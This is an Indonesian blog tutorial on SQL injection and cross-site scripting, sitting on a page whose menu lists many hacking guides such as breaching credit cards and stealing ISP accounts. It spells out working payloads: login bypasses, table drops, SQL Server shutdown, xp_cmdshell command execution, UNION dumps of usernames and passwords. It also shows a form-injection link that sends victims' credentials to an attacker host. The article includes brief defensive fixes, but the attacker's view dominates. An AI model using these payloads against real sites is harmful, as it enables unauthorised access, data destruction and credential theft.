TUTORIAL KOMPUTER
  • 10 Virus Komputer Paling Mematikan Di Dunia
  • Kunci Mempercepat Acces Komputer
  • MENGENAL SISTEM KOMPUTER
  • Sejarah Perkembangan Komputer
  • Informasi computer terkini
  • Mengenal System Software
  • Mengupas Masalah Motherboard
  • Mengupas Detail Tentang CPU
  • Kode Mempercepat Editing Paragraf
  • Memproteksi Folder Dengan Password
  • Macam-Macam Perintah Pada Run Commands
  • Mempercepat Waktu Shutdown
  • Ubah Tampilan Windows
  • Kode Akses Siemens
  • Kode Akses Samsung
  • Kode Akses Sony Ericsson
  • Kode Akses Nokia
  • Seni Photoshop ( Angan Merokok )
  • Menyembunyikan Menu Help Pada Start Menu
  • Menyembunyikan Menu Document Pada Start Menu
  • Menyembunyikan menu Find pada Start Menu
  • Mengembalikan Folder Documents Yang Hilang
  • Memproteksi File
  • Mengganti Icon Drive
  • Mengganti Alignment Pada Drop Down Menu
  • Disable Klik Kanan Pada Taskbar
  • Disable Klik Kanan Pada Dekstop & Explorer
  • Menyembunyikan Menu Start Menu
  • Persentasi Antara Flash Dan Power Point
  • Mengganti Screen Saver Lewat Registry
  • Menghilangkan Username Pada Start Menu
  • Menampilkan Administrator Di Welcome Screen
  • Menyembunyikan My Recent Documents
  • TUTORIAL HACKER
  • Bad Unicode
  • Cara Skip Win Registrasi XP
  • Craking Dengan F.A.R.A.B.I
  • DoS, Serangan yang Belum Tertangkal
  • Hack Dan Prinsip Dasar Psikologis Hack
  • Hacking NT Server Melalui Remote Data Service
  • 95% Web Server Di Dunia has been dead
  • Hacking Web Site with cart32.exe installed
  • Konsep Lain Menjebol Server Webfroot Shutbox
  • Istilah Teknologi Informasi Bahasa Indonesia
  • Mendapatkan account ISP gratis!
  • Mendapatkan Serial Number WinZip 8.1
  • Menghilangkan Password Bios
  • Mengintip Password Linux
  • Menjebol Apache Web Server Melalui Test-Cgi
  • Menjebol Server Melalui Service FTP
  • Pembobolan 1000 Kredit Card di Step-up
  • Penjebolan Server Melalui FTP
  • Hati-hati DLM Mengetikkan Klikbca.Com
  • VIRUS M HEART
  • Bongkar Password Microsoft Acces
  • BUG TELKOMSEL & (FREE Phone ke-CYPRUS
  • Cara Efisien Mendapatkan Puluhan Ribu Email
  • Cara Sederhana membuat virus PHP
  • Cara Singkat Menginfeksi Openssh-3.4p1 Z
  • Cracking GateKeeperm
  • HACKING FOR BEGINNER
  • Hack Windows NT2000XP Admin Password
  • Melewati pembatasan hak akses warnet
  • Melindungi Data dari SQL Injection
  • memainkan fungsi tombol HP
  • Membedah Teknik SQL Injection
  • Bongkar key Windows Dengan @ stake LC4
  • Meminimalkan Biaya Saat menelpon Di Wartel
  • Menangani Virus Lohan
  • MENGACAK-ACAK REGISTRY WARNET
  • Mengelabui Pengejar Hacker
  • Meng-Hack Pesawat Telepon Yang Terkunci
  • Meng-hack PHP-BUg's
  • Kelemahan pasword & login yahoo pd Cgi
  • Trik Penjebolan Sites
  • Ragam Hacking Menggunakan Google
  • Rahasia Teknik Serangan SQL Injenction
  • Teknik Pembuatan Virus Makro Pd XP
  • Seni Internet, Googlingg
  • Situs Hacker Yang Ikut Bermasalah
  • Teknik Hacking Situs KPU Dr segla arah
  • Teknik Menyusup Ke TNP Center KPU
  • Tip N Trik Telephon Gratis Musso
  • Trik Mereset Password Windows 9x
  • TUTORIAL BLOG
  • Menuliskan Script di Blog
  • Membuat Artikel Terkait/Berhubungan
  • Membuat Feed di Blog Dengan Javascript
  • Membuat Navigasi Breadcrumb di Blog
  • Membuat Meta Deskripsi di Halaman Blog
  • Membuat Readmore Versi 1
  • Membuat Read More Otomatis di Blog
  • Membuat Read More Versi 2
  • Membuat Tabs Menu Horizontal
  • Membuat Menu Tab View
  • Membuat Menu Vertikal
  • Cara Memasang Musik Pada Blog
  • Membuat Template Blog Hasil Buatan Sendiri
  • Buat Threaded Comment dgn Intense Debate
  • Membuat Menu DTree
  • Membuat Tab Menu Dengan Banyak Style
  • Menambah Toolbar Baru di Blogspot
  • Cara Membuat Tabel di Blog
  • Cara Membuat Tulisan Berjalan
  • Melakukan Backup Website atau Blog
  • Mendapatkan Free Hosting
  • Membuat Widget Status Twitter pada Blog
  • Manampilkan Profil Facebook di Website (blog)
  • Membuat Avatar Komentar Pada Blogger
  • Membuat Halaman Contact Me pada Blogspot
  • Cara Membuat Status Yahoo Messenger di Blog
  • Mendapatkan Layanan Google Friend Connect
  • Membuat Nomor Page Posting Di Blog
  • Tips dan Trik Menambah Kolom Di Blog
  • Mengatasi "Invalid Widget ID" pada Blogger
  • Membuat Slide Show Album Foto di Blog
  • Membuat Kotak Komentar dibawah Posting
  • Cara Membuat Kotak Link Exchange
  • Membuat Link Download
  • Cara Membuat Dropdown Menu
  • Cara Membuat Buku Tamu
  • Trik Memproteksi Blog
  • Cara Membuat Search Engine
  • Membuat Kategori / Label di Blogger
  • Menghilangkan Navbar (Navigation Bar)
  • Memasang Emoticon di Kotak Komentar
  • Menambah Emoticon di Shoutbox
  • Pasang Jam di Sidebar
  • Memasang Pelacak IP Address
  • Mengganti Tulisan "Older Post / Newer Post"
  • Memasang Alexa Traffic Rank
  • Memasang Tombol Google Buzz
  • Cara Membuat Cursor Animasi
  • Menyembuyikan Buku Tamu
  • 5 Cara Terbaik Mendapatkan Uang Dari Blog
  • Blogging Cepat Dengan BlogThis!
  • 21 Posts Separator Images
  • Mengganti Link Read More Dgn Gambar
  • Cara Menampilkan 10 Artikel Di Recent Posts
  • Offline Blogging Dgn Windows Live Writer
  • Cara Memasang Jadwal Sholat
  • Cara Membuat Daftar Isi Blog Otomatis
  • Membuat Daftar Isi Blog Manual
  • Iklan Google Adsense Di Tengah Artikel
  • Membuat Link Warna - Warni
  • Meletakkan Widget Di Bawah Header
  • Membuat Kotak Scrollbar
  • Memasang Video Di Artikel
  • Kode Warna HTML
  • Home » » Membedah Teknik SQL Injection

    Membedah Teknik SQL Injection

    SQL Injection adalah sebuah teknik merubah perintah SQL yang ada untuk memperoleh akses ke data yang dilindungi atau bahkan mengeksekusi perintah yang menyangkut sistem pada suatu webserver.

    Serangan ini mengandalkan rutin validasi input yang tidak dilindungi.

    Seluruh Database merupakan komponen dasar dari aplikasi berbasiskan Web. Hal ini menjadikan website dapat menyimpan data seperti informasi user, rekaman pelanggan, berbagai form isian tertentu.

    Aplikasi web yang interaktif berbasiskan database menggunakan Structured Query Language (SQL) yang secara dinamis berisikan data yang dikostumisasi sesuai kebutuhan user. Hal ini disempurnakan dengan aplikasi yang mengambil input user dan mengombinasikan dengan parameter statis untuk membangun sebuah
    query SQL. Query ini biasanya digunakan untuk memanggil kembali data yang diminta dari database yang kemudian menyajikannya ke hadapan user.

    Model keamanan seperti banyak digunakan pada aplikasi web dengan anggapan bahwa sebuah Query SQL adalah perintah yang dapat dipercaya. Artinya bahwa Query SQL mampu mencegah kendali akses, yang mana harus melalui otentikasi standar dan pemeriksaan otorisasi. Dalam beberapa hal, Query SQL mengijinkan akses ke perintah-perintah tingkat operating sistem pada suatu Host. (Wouuwww!!!)

    Ekploitasi Yang Terjadi

    Beberapa aplikasi yang tidak melakukan validasi dan/atau sanitasi data input user secara benar dapat dieksploitasi dengan beberapa cara:

    Perubahan Nilai-nilai SQL
    • Hubungan Berbagai Statement SQL
    • Menambahkan fungsi pemanggilan dan penyimpanan prosedur ke sebuah statement
    Peranan dan Hubungan pemanggilan data Contoh 
    - Perubahan Nilai-nilai SQLPada program Mysql-Query:

    UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

    Pengaksesan melalui Browser:
    http://www.target.com/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--

    Contoh - Menghubungkan berbagai SQL Statement
    Pada program PostgreSql-Query:

    SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

    Pengaksesan melalui Browser:
    http://www.target.com/script?0';insert+into+pg_shadow+usename+values+('hoschi');--
    Contoh - Menambahkan fungsi calls dan stored-procedures ke sebuah statement Pada program MS SQL-Query:

    SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

    Pengaksesan melalui Browser:
    http://www.target.com/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c);--

    Contoh - Peranan dan Hubungan pemanggilan data Pada Program DB2-Query:

    SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE  size = '$INPUT[size]';

    Pengaksesan melalui Browser:
    http://www.target.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'|| passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25

    Beberapa Contoh Ekploitasi pada SQL Server :
    Contoh #1 
    Microsoft SQL Server memiliki dialek tersendiri dalam SQL, yang mana menggunakan Transact SQL (TSQL). Dalam hal ini kita dapat mengekploitasi kehebatan dari TSQL dengan beberapa cara sekedar untuk menunjukkan cara kerja SQL Injection. Perhatikan query berikut ini, yang berbasiskan suatu table user :

    select userName from users where userName='' having 1=1

    Jika Anda adalah seorang programmer SQL yang mahir, maka andaakan menyadari bahwa query ini menimbulkan suatu error. Kita dapat dengan mudah membuat halaman login.asp suatu database sasaran, yang menggunakan pengecekan login berikut:

    Username: ' having 1=1 –-
    Password: [sembarang]

    Sewaktu Anda mengclick tombol Submit untuk memulai proses login, query SQL menyebabkan script ASP menampilkan pesan berikut ini ke browser:

    Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16

    Wah wah. Hal ini terlihat pada pesan kesalahan yang mengatakanbahwa user tidak terotorisasi (tidak berhak) terdapat satu field dari database yang dicoba untuk divalidasi. users.username. Dengan menggunakan nama field ini, kita sekarang dapat menggunakan kata kuncinya SQL Server untuk login sebagai berikut:

    Username: ' or users.userName like 'a%' –-
    Password: [Sembarang]

    sekali lagi, hal ini menghasilkan sebuah query SQL terinjeksi
    yang ditampilkan terhadap table user tersebut.

    select userName from users where userName='' or users.userName
    like 'a%' --' and userPass=''

    Mengingat kembali saat kita membuat table user, kita juga membuatkan seorang user yang field username sebagai admin dan field userpass password. Log in dengan username dan password seperti yang ditunjukkan diatas menggunakan kata kunci SQL query untuk mendapatkan username, query tersebut menangkap field username pada baris pertama yang field username-nya dimulai dengan huruf a, yang bisa jadi adalah admin:

    Logged In As admin
    Selamat login sebagai admin dech. (hehehe)

    Contoh #2
    SQL Server diantara database yang lain nya memisahkan query dengan sebuah semi- colon. Mengguankan sebuah semi-colon mengijinkan beberapa query untuk dikirimkan sebagai satu paket dan dieksekusi secara bergantian, sebagai contoh:

    select 1; select 1+2; select 1+3;
    ... akan mengembalikan tiga recordset. Pertama berisikan nilai 1, kedua berisikan nilai 3, dan ketiga berisikan nilai 4 dst. Jadi, jika kita login dengan validasi berikut ini:

    Username: ' or 1=1; drop table users; --
    Password: [sembarang]

    Kemudian query akan mengeksekusi dalam dua bagian. Pertama, akan memilih field username untuk slmuar baris dalam table user. Kedua, akan menghapus table user, hal ini berarti dilain waktu kita login, kita akan melihat error berikut ini:

    Microsoft OLE DB Provider for SQL Server (0x80040E37)
    Invalid object name 'users'.
    /login.asp, line 16

    Contoh #3
    Contoh terakhir sehubungan dengan form login yang akan kita diskusikan adalah mengenai eksekusi dari perintah khusus TSQL dan ESP (Extended Stored Procedures) atau prosedur penyimpanan yang diperluas. Banyak situs yang menggunakan user account sistem default, yang sewaktu login ke SQL Server dari script
    ASP mereka atau aplikasi lainnya. Secara default, user ini mengakses ke seluruh perintah dan dapat menghapus, mengganti nama dan menambahkan database, tabel, eksekusi program dsb.

    Satu dari perintah SQL Server yang tergolong "Powerful" adalah SHUTDOWN WITH NOWAIT, yang akan menyebabkan SQL Server mati, menghentikan Windows Service. Untuk merestart SQL Server setelah perintah ini adalah perkara yang tidak mudah, Anda harus menggunakan SQL service manager atau beberapa metode lain dari proses restart SQL Server.

    Sekali lagi, perintah ini dapat dieksploitasi dengan contoh login dibawah ini:

    Username: '; shutdown with nowait; --
    Password: [Sembarang]

    menyebabkan script login.asp menjalankan query berikut ini:
    select userName from users where userName=''; shutdown with nowait; --' and userPass=''

    Jika user di set sebagai account sistem default, atau user memiliki hak istimewa, kemudian SQL server akan men shut down dan akan meminta sebuah start up sebelum akhirnya berfungsi lagi.

    SQL Server juga termasuk beberapa ESP, yang mana berbasiskan khusus DLL C++ yang dapat berisi kode C/C++ untuk mamanipulasi command prompt, dsb. Seluruh ESP berada dibawah database master dan memiliki awalan "xp_".

    Terdapat beberapa ESP yang dapat menyebabkan kerusakan fatal pada suatu sistem, dan dengan menggunakan form login dengan sebuah perintah terinjeksi sebagai username seperti dibawah ini:

    Username: '; exec master..xp_xxx; --
    Password: [Sembarang]

    Kita dapat mengeksekusi ESP. Semua yang kita harus lakukan adalah mengambil ESP yang sesuai dan mengganti xp_xxx dengan nama dalam contoh diatas. ebagai contoh, jika IIS terinstal pada mesin yang sama dengan SQL Server, kemudian ktia akan merestartnya menggunakan ESP xp_cmdshell (dalam hal ini
    mengeksekusi string perintah sebagai suatu perintah untuk Operating System) dan me reset IIS. Semua yang kita perlu lakukan hanyalah memasukkan validasi user pada halamanlogin.asp:

    Username: '; exec master..xp_cmdshell 'iisreset'; --
    Password: [Sembarang]

    login ini akan mengirimkan query ke SQL server seperti berikut:
    select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''
    Seperti yang saya dan Anda duga, hal ini menyebabkan kerusakanserius dan dengan perintah yang sesuai dapat menyebabkan situs korban tidak berfungsi.

    Contoh #4
    OK, waktunya beralih dari melihat script login.asp dan sekarang menuju metode lain yang umum untuk menampilkan suatu serangan SQL injection.Betapa banyak waktu yang sudah Anda habiskan untuk sebuah
    situs yang menjual suatu barang dan melihat URL seperti ini:

    www.situsgue.com/products.asp?productId=2
    Dengan jelas terlihat angka 2 adalah ID dari produk, dan banyak situs yang secara sederhana akan membuat query pada variabel querystring ProductID, sebagai berikut:
    select prodName from products where id = 2

    Sebelum kita lanjutkan, anggaplah kita mempunyai setup table
    dan baris pada SQL Server:
    create table products
    (
    id int identity(1,1) not null,
    prodName varchar(50) not null,
    )
    insert into products(prodName) values('Chike Bum Bum')
    insert into products(prodName) values('Topi Cap Kadal')
    insert into products(prodName) values('Celana Cap Buaya')

    Misalkan juga bahwa ktia membuat setup script ASP bernama products.asp:

    (% dim prodId prodId = Request.QueryString("productId") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select prodName from products where id = " & prodId conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Got product " & rs.fields("prodName").value else response.write "Barang tidak ditemukan" end if %)

    Jadi jika kita melihat product.asp pada browser akan tampil
    URL berikut:

    http://www.situsgue.com/products.asp?productId=1

    ... kemudian kita akan melihat baris lanjutan dari teks pada browser

    Got product Chike Bum Bum

    Adanya pemberitahuan ini bahwa product.asp mengembalikan sebuah field dari recordset berdasarkan pada nama field:

    response.write "Got product " & rs.fields("prodName").value

    Walaupun terlihat lebih secure, sebenarnya tidak, dan kita masih dapat memanipulasi database tersebut, hanya berbekal tiga contoh diatas. Pemberitahuan produk diatas berdasarkan pada sebuah nilai numerik:

    query = "select prodName from products where id = " & prodId

    Halaman products.asp untuk pemesanan barang berfungsi secara benar, semuanya meminta nomor ID produk yang dijalankan sebagai variabel querystring productId. Hal inipun tidak terlalu menimbulkan masalah. Perhatikan URL berikut ini pada product.asp:

    http://www.situsgue.com/products.asp?productId=0%20or%201=1

    Adapun %20 dalam URL diatas mewakili sebuah URL-encode dari
    karakter spasi, jadi URL yang sebenarnya terlihat seperti ini:

    http://www.situsgue.com/products.asp?productId=0 or 1=1

    Dengan bantuan halaman product.asp, query akan terlihat seperti ini:

    select prodName from products where id = 0 or 1=1

    Menggunakan secuil informasi diatas, mengetahui cara kerjanya dan beberapa URL-encoding, kita dapat saja dengan mudah mengambil nama field products dari tabel products tersebut. Seperti dibawah ini:

    http://www.situsgue.com/products.asp?productId=0%20having%201=1

    Hal ini akan menyebabkan error pada browser sebagai berikut:

    Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /products.asp, line 13
    Nah, sekarang kita dapat mengambil nama field dari products (products.prodName) dan memanggil URL berikut ini pada browser:

    http://localhost/products.asp?productId=0;insert%20into%20products(prodName)%20values(left(@@version,50))

    disinilah query tanpa URL-encoded spasi:
    http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50))

    Semestinya menampilkan pesan "No product found", bagaimanapun juga pesan ini dijalankan oleh suatu query INSERT pada tabel product, yang menambahkan 50 karakter pertama dari variabel @@version SQL server (yang berisikan detil dari versi SQL Server dsb.)

    Dalam situasi sebenarnya, Anda akan menghadapi danmengeksploitasi tabel product lebih dari hal diatas, yang bisa saja memiliki selusin field yagn lain. Sekali lagi biarpun hal itu terjadi metode ini masih akan menghasilkan hal yang sama.

    Untuk mendapatkan versi SQL Server, adalah hal yang mudah terjadi saat pemanggilan halaman products.asp dengan nilai masukan terakhir dalam tabel products. Seperti dibawah ini:

    http://localhost/products.asp?productId=(select%20max(id)%20from%20products)

    Apa yang query lakukan ini adalah menangkap ID dari baris akhir yang ditambahkan ke table products menggunakan fungsi statistik MAX dalam SQL Server. Menghasilkan baris baru yang berisikan rincian versi SQL Server:

    Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)

    Teknik Cross Site Scripting?Cross Site Scripting adalah sebuah teknik serangan yang dijalankan saat sebuaH situs menampilkan user input pada browser yang tidak terdapat sanitasi data.

    Kembali ke masalah username/password, field username biasanyaberisikan karakter alphanumerik. Penting sekali, nilai username/password berisikan tanda petik ('). Sebagai bagian dari proses sanitasi data dan memastikan bahwa user memasukkan karakter yang valid. Keharusan bahwa mengisi username dan password untuk mengakses database tidak berisikan karakter yang cacat, dapat melindungi database Anda dari serangan SQL Injection.

    Vulnerabilitas yang terjadi sewaktu sebuah website menampilkan input user pada browser yang tidak memiliki sanitasi data. Cross Site Scripting biasanya dapat mencuri cookies, melakukan pengujian integritas data, dan menipu user untuk mengirimkan informasinya ke seorang hacker.

    Alihkan perhatian Anda kembali ke contoh halaman Login yang kita uji sebelumnya dalam artikel ini. Bayangkan bahwa sistem login ini terdiri dari dua halaman, Pertama: Login.asp, yang berfungsi menampilkan form untuk user memasukkan username dan password mereka. Sedangkan yang Kedua: CekUser.asp, yang
    bertugas memeriksa apakah username yang mereka masukkan tersebut valid atau tidak. Dalam kasus jika pengecekan username/password terjadi invalid, maka CekUser.asp menggunakan perintah Response. Redirect yang mengembalikan user ke halaman login.asp lagi, adapun string yang menampilkan pesan kesalahan seperti berikut:


    CekUser.asp
    If rs.eof then
    'login username/password invalid
    Response.Redirect("Login.asp?errorMessage=Invalid+username+or+password")
    Else
    'login sukses...
    End If

    Kemudian, pada Login.asp, Pesan kesalahan nilai querystring akan ditampilkan sebagai berikut:
    teks yang berwarna merah jgn dicopy 
    jika anda mengkopi script dibawah ini ganti tanda (  ) dengan tanda < > agar terbaca
    Login.asp
                      (form method="POST" action="CekUser.asp")
                      (!-- Tampilkan pesan kesalahan --)
                      (%=request.querystring("errorMessage")%)

                      Username: (input type="text" name="UserName")(br)
                      Password: (input type="password" name="Password")(br)
                      (input type="submit" name="submit" value="log in!")
                      (/form)


    Teknik pemrograman ini sangat tidak aman, jika user berusaha login secara invalid, mereka akan kembali ke halaman Login.asp dan ditampilkan sebuah pesan pendek yang menjelaskan bahwa login yang mereka adalah invalid. Namun bagi seorang hacker yang berpengalaman, hal ini dapat menyatakan bahwa dia dapat saja merubah kode HTML yang sesungguhnya dari halaman yang menampilkan pesan kesalahan tersebut. Sebagai contoh, dia melakukan login menggunakan url berikut ini:

    http://www.namadomain.com/Login.asp?errorMessage=

    (penulis: Definisi Hax0r silakan dilihat
    http://www.urbandictionary.com/pickup.php/1521/d9878c )

    Sebagaimana yang ktia lihat pada kode pada halaman login.asp,
    nilai querystring pada pesan kesalahan akan diperlihatkan,
    menjadikan sebuah halaman HTML dengan nilai seperti ini:

    teks yang berwarna merah jgn dicopy 
    jika anda mengkopi script dibawah ini ganti tanda (  ) dengan tanda < > agar terbaca

     Login.asp
                      (form method="POST" action="admin_menu.asp")
                      (/form)(form method="POST"
                      action="http://www.hax0r.com/stealPassword.asp")

                      Username: (input type="text" name="UserName")(br)
                      Password: (input type="password" name="Password")(br)

                      (input type="submit" name="submit" value="log in!")
                      (/form)
    Sang Hacker dengan sangat pandainya memasukkan beberapa kode HTML ke halaman ini hingga datanglah seorang user yang rada-rada lugu (atau pura-pura lugu) mengunjungi halaman yang terdapat nilai querystring pesan kesalahan, user ini memasukkan username dan password yang secara otomatis dikirimkan ke halaman http://www.hax0r.com/stealPassword.asp.

    Sekarang, Sang hacker dapat mengirimkan sebuah link untuk membuat halaman via sebuah pesan email atau sebuah link dari beberapa situs forum diskusi atau apa sajalah, mengharapkan ada seorang user dari situs ini akan mengklik klik dan mencoba untuk login. Tentu saja, pada saat login, user tersebut akan mengirimkan data ke situs sang hacker. (Tepatnya terjadi Encoding dari nilai querystring yang menampilkan pesan kesalahan akan menjadi seperti ini:

    http://www.namadomain.com/login.asp?errormsg=%3C%2Fform%3E%3Cform+method%3D%22POST%22+action%3D%22http://www%2Ehax0r%2Ecom%2FstealPassword%2Easp%22%3E.)

    Sang hacker akan keluar menjadi "pemenang". Jika dia menemukan seseorang yang tertipu oleh teknik ini, Klik linknya, kunjungi situs tertentu untuk login, namun informasi username/password akan terkirim ke situs Sang hacker. :(


    Bagaimana cara melindungi data dari Cross Site Scripting? Melindungi data terhadap suatu serangan Cross Site Scripting  relatif sederhana : yaitu menggunakan metode
    Server.HtmlEncode. Metode ini akan mengambil suatu string dan  mengganti karakter apapun yang browser coba  menginterpretasikannya dengan HTML encoding, jadi pada browser akan tercetak berbagai karakter ke layar. Perhatikan contoh dibawah ini:

    Akan menghasilkan string berikut ini:

     (/form)(form method="POST"

      action="www.hax0r.com/passwordstealer.asp")

    Untuk mengubah kode asli tentunya menggunakan HTML encoding, kita memerlukan perubahan pada baris pesan yang mencetak nilai dari errorMessage dari:

    (%=request.querystring("errorMessage")%) menjadi (%=server.htmlencode(request.querystring("errormsg"))%)

    Sekali lagi, sanitasi data yang lintas-balik ke browser seharusnya melakukannya untuk seluruh data yang telah dilalui dari sumber yang tidak aman (user). Kita seharusnya juga men-sanitasi seluruh data yang datang dari berbagai sumber dan lintas-balik ke browser. Jika Anda seorang hacker tentunya dapat saja masuk dan merusak database/file system, memasukkan kode ke record/file yang absah, mengkompromikan situs tersebut dengan berbagai cara. Anda benar-benar seorang hacker sejati. Hmm... Seperti yang didefinisikan,

    Hacker adalah programmer terampil yang sanggup melakukan pemrograman setiap harinya, menggunakan pengetahuannya dengan tepat. Seperti siluman dapat memasuki sistem tanpa diketahui tanpa menghancurkan sebab tetap memperhatikan kode etik yang ada. OK?

    Lubang Keamanan yang sering terjadi pada sistem database populer:

    MySQL
    • Mendukung 'INTO OUTFILE'
    • Sering dijalankan sebagai "root"
    • Banyak modul dan library tidak mendukung multiple-statements.
    Oracle
    • Memungkinkan Subselects
    • Memungkinkan UNION
    • Banyak menyimpan prosedur
    • Tidak mendukung multiple-statements
    DB2
    • Memungkinkan Subselects
    • Memungkinkan UNION
    • Banyak Menyimpan prosedur
    • Tidak mendukung multiple-statements
    Postgres
    • Mendukung perintah COPY (bila dijalankan sebagai superusermode)
    • Memungkinkan Subselects
    • Memungkinkan UNION
    • Banyak menyimpan prosedure
    • Mendukung Multiple-statements
    MS SQL
    • Memungkinkan Subselects
    • Memungkinkan UNION
    • Banyak menyimpan prosedure
    • Mendukung Multiple-statements
    • Banyak menyimpan prosedur default yang berbahaya (xp_cmdshell, sp_adduser)
    Saya cukupkan saja sampai disini dulu karena artikelnya sudah terlalu panjang. Walaupun masih terdapat beberapa teknik eksploitasi dan solusinya yang akan saya jelaskan pada kesempatan lainnya. Wassalam.

    Dibuat oleh:

    si_cebol @ yahoo.com
    www.situs.newbie.at
    Jika Anda menyukai Artikel di blog ini, Silahkan klik disini untuk berlangganan gratis via email, dengan begitu Anda akan mendapat kiriman artikel setiap ada artikel yang terbit di Creating Website

    0 komentar:

    Posting Komentar

     
    Support : Creating Website | Tutorq Template | Template
    Copyright © 2011. FAROUQ'S - All Rights Reserved
    Template Modify by Creating Website
    Proudly powered by Blogger